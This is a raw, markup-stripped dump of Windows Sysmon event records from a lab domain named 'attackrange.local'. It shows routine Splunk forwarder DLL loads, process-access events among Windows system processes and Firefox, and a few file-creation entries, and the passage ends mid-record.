734700x800000000000000049411Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.059{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000049410Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.059{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000049409Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.059{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000049408Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.059{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000049407Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.059{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000049406Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.059{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000049405Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.059{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000049404Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.059{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000049403Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.059{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000049402Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.059{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000049401Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.059{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000049400Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.059{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000049399Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.059{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000049398Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.059{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000049397Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.059{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000049396Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.059{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000049395Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.059{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000049394Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.059{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000049393Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.059{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000049392Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.059{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000049391Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.059{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000049390Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.059{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1CtrueSplunk, Inc.Valid 10341000x800000000000000049389Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.059{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049388Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.059{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049387Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.059{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049386Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.059{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049385Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.059{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000049384Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.059{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000049383Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.060{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000016334Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:21.485{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=24F3CFC7D022EC467A8330ACB4BBA153,SHA256=CADE2A1670496627481BF8F48ABF2B8B701CCA649265578700D0F66207CEBEA3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000049683Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.981{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\Administrator\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{4BF4D795-C7BB-40BD-9792-8927E19A1DAF}.tmpMD5=FA49E3B32317F1952E93DD70BFA8595A,SHA256=52D8CDEE2C2666AC14ECC46B735FA3ABC6C362D365F994A541931DFDD3A8351C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000049682Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.981{7BD73061-6D0F-613B-9406-00000000F001}44801068C:\Windows\Explorer.EXE{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+17e8d|C:\Windows\System32\SHELL32.dll+61e00|C:\Windows\System32\SHELL32.dll+11d74|C:\Windows\Explorer.EXE+1e118|C:\Windows\Explorer.EXE+1e249|C:\Windows\Explorer.EXE+1df79|C:\Windows\Explorer.EXE+3c407|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049681Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.981{7BD73061-6D0F-613B-9406-00000000F001}44801068C:\Windows\Explorer.EXE{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+11d74|C:\Windows\Explorer.EXE+1e118|C:\Windows\Explorer.EXE+1e249|C:\Windows\Explorer.EXE+1df79|C:\Windows\Explorer.EXE+3c407|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049680Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.981{7BD73061-6D0E-613B-8E06-00000000F001}48482952C:\Windows\system32\taskhostw.exe{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\MSCTF.dll+af11|C:\Windows\System32\MSCTF.dll+b489|C:\Windows\System32\MSCTF.dll+be73|C:\Windows\System32\MSCTF.dll+3d812|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049679Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.981{7BD73061-6D0F-613B-9406-00000000F001}44801068C:\Windows\Explorer.EXE{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+17e8d|C:\Windows\System32\SHELL32.dll+61e00|C:\Windows\System32\SHELL32.dll+62967|C:\Windows\Explorer.EXE+1e03a|C:\Windows\Explorer.EXE+1e249|C:\Windows\Explorer.EXE+1df79|C:\Windows\Explorer.EXE+3c407|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049678Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.981{7BD73061-6D0E-613B-8E06-00000000F001}48482952C:\Windows\system32\taskhostw.exe{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\MSCTF.dll+af11|C:\Windows\System32\MSCTF.dll+b489|C:\Windows\System32\MSCTF.dll+be73|C:\Windows\System32\MSCTF.dll+3d812|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049677Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.981{7BD73061-6D0F-613B-9406-00000000F001}44801068C:\Windows\Explorer.EXE{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62967|C:\Windows\Explorer.EXE+1e03a|C:\Windows\Explorer.EXE+1e249|C:\Windows\Explorer.EXE+1df79|C:\Windows\Explorer.EXE+3c407|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049676Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.981{7BD73061-6D0F-613B-9406-00000000F001}44803940C:\Windows\Explorer.EXE{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+17e8d|C:\Windows\System32\SHELL32.dll+61e00|C:\Windows\System32\SHELL32.dll+62390|C:\Windows\System32\TwinUI.dll+f54e1|C:\Windows\System32\TwinUI.dll+f5d4f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049675Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.981{7BD73061-6D0F-613B-9406-00000000F001}44801068C:\Windows\Explorer.EXE{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla 